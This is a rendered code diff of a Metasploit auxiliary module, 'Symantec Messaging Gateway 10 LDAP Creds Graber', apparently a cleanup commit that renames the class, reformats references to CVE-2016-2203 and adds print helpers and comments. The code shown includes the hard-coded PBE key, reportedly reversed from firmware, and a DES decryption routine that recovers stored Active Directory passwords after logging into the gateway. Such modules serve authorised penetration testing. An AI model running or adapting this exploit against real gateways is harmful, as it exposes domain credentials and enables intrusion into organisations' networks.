9
9
require "openssl"
10
10
11
11
12
- class Metasploit3 < Msf ::Auxiliary
12
+ class MetasploitModule < Msf ::Auxiliary
13
13
14
14
include Msf ::Auxiliary ::Scanner
15
15
include Msf ::Auxiliary ::Report
@@ -19,18 +19,19 @@ def initialize(info = {})
19
19
super ( update_info ( info ,
20
20
'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber' ,
21
21
'Description' => %q{
22
- This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account.
22
+ This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
23
+
23
24
} ,
24
25
'References' =>
25
26
[
26
- 'https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00' ,
27
- 'CVE-2016-2203'
27
+ [ 'URL' , 'https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00' ] ,
28
+ [ 'CVE' , '2016-2203' ] ,
29
+ [ 'BID' , '86137' ]
28
30
] ,
29
31
30
32
'Author' =>
31
33
[
32
34
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>' ,
33
- 'zirsalem'
34
35
] ,
35
36
'DefaultOptions' =>
36
37
{
@@ -51,6 +52,19 @@ def initialize(info = {})
51
52
deregister_options ( 'RHOST' )
52
53
end
53
54
55
+
56
+ def print_status ( msg = '' )
57
+ super ( "#{ peer } - #{ msg } " )
58
+ end
59
+
60
+ def print_good ( msg = '' )
61
+ super ( "#{ peer } - #{ msg } " )
62
+ end
63
+
64
+ def print_error ( msg = '' )
65
+ super ( "#{ peer } - #{ msg } " )
66
+ end
67
+
54
68
def report_cred ( opts )
55
69
service_data = {
56
70
address : opts [ :ip ] ,
@@ -126,48 +140,57 @@ def get_login_data
126
140
return sid , last_login
127
141
end
128
142
143
+ # Returns the status of the listening port.
144
+ #
145
+ # @return [Boolean] TrueClass if port open, otherwise FalseClass.
146
+
129
147
def port_open?
130
148
begin
131
149
res = send_request_raw ( { 'method' => 'GET' , 'uri' => '/' } , datastore [ 'TIMEOUT' ] )
132
150
return true if res
133
151
rescue ::Rex ::ConnectionRefused
134
- vprint_status ( "#{ peer } - Connection refused" )
152
+ print_status ( "#{ peer } - Connection refused" )
135
153
return false
136
154
rescue ::Rex ::ConnectionError
137
- vprint_error ( "#{ peer } - Connection failed" )
155
+ print_error ( "#{ peer } - Connection failed" )
138
156
return false
139
157
rescue ::OpenSSL ::SSL ::SSLError
140
- vprint_error ( "#{ peer } - SSL/TLS connection error" )
158
+ print_error ( "#{ peer } - SSL/TLS connection error" )
141
159
return false
142
160
end
143
161
end
144
162
163
+ # Returns the derived key from the password, the salt and the iteration count number.
164
+ #
165
+ # @return Array of byte containing the derived key.
145
166
def get_derived_key ( password , salt , count )
146
167
key = password + salt
147
168
for i in 0 ..count -1
148
169
key = Digest ::MD5 . digest ( key )
149
170
end
150
171
kl = key . length
151
172
return key [ 0 , 8 ] , key [ 8 , kl ]
152
- end
173
+ end
153
174
154
175
155
- # Algorithm obtained by reversing the firmware
156
- def decrypt ( enc_str )
157
- pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\" \\ {}`~!@#$%^&*()_+-="
158
- salt = ( Base64 . strict_decode64 ( enc_str [ 0 , 12 ] ) )
159
- remsg = ( Base64 . strict_decode64 ( enc_str [ 12 , enc_str . length ] ) )
160
- ( dk , iv ) = get_derived_key ( pbe_key , salt , 1000 )
161
- alg = "des-cbc"
162
- decode_cipher = OpenSSL ::Cipher ::Cipher . new ( alg )
163
- decode_cipher . decrypt
164
- decode_cipher . padding = 0
165
- decode_cipher . key = dk
166
- decode_cipher . iv = iv
167
- plain = decode_cipher . update ( remsg )
168
- plain << decode_cipher . final
169
- return plain . gsub ( /[\x01 -\x08 ]/ , '' )
170
- end
176
+ # @Return the deciphered password
177
+ # Algorithm obtained by reversing the firmware
178
+ #
179
+ def decrypt ( enc_str )
180
+ pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\" \\ {}`~!@#$%^&*()_+-="
181
+ salt = ( Base64 . strict_decode64 ( enc_str [ 0 , 12 ] ) )
182
+ remsg = ( Base64 . strict_decode64 ( enc_str [ 12 , enc_str . length ] ) )
183
+ ( dk , iv ) = get_derived_key ( pbe_key , salt , 1000 )
184
+ alg = "des-cbc"
185
+ decode_cipher = OpenSSL ::Cipher ::Cipher . new ( alg )
186
+ decode_cipher . decrypt
187
+ decode_cipher . padding = 0
188
+ decode_cipher . key = dk
189
+ decode_cipher . iv = iv
190
+ plain = decode_cipher . update ( remsg )
191
+ plain << decode_cipher . final
192
+ return plain . gsub ( /[\x01 -\x08 ]/ , '' )
193
+ end
171
194
172
195
def grab_auths ( sid , last_login )
173
196
token = '' #from hidden input
@@ -239,22 +262,22 @@ def grab_auths(sid,last_login)
239
262
end
240
263
end
241
264
242
- def run_host ( ip )
243
- return unless port_open?
244
- sid , last_login = get_login_data
245
- if sid . empty? or last_login . empty?
246
- print_error ( "#{ peer } - Missing required login data. Cannot continue." )
247
- return
248
- end
249
- username = datastore [ 'USERNAME' ]
250
- password = datastore [ 'PASSWORD' ]
251
- sid = auth ( username , password , sid , last_login )
252
- if not sid
253
- print_error ( "#{ peer } - Unable to login. Cannot continue." )
254
- return
255
- else
256
- print_good ( "#{ peer } - Logged in as '#{ username } :#{ password } ' Sid: '#{ sid } ' LastLogin '#{ last_login } '" )
257
- end
258
- grab_auths ( sid , last_login )
265
+ def run_host ( ip )
266
+ return unless port_open?
267
+ sid , last_login = get_login_data
268
+ if sid . empty? or last_login . empty?
269
+ print_error ( "#{ peer } - Missing required login data. Cannot continue." )
270
+ return
271
+ end
272
+ username = datastore [ 'USERNAME' ]
273
+ password = datastore [ 'PASSWORD' ]
274
+ sid = auth ( username , password , sid , last_login )
275
+ if not sid
276
+ print_error ( "#{ peer } - Unable to login. Cannot continue." )
277
+ return
278
+ else
279
+ print_good ( "#{ peer } - Logged in as '#{ username } :#{ password } ' Sid: '#{ sid } ' LastLogin '#{ last_login } '" )
280
+ end
281
+ grab_auths ( sid , last_login )
259
282
end
260
283
end
0 commit comments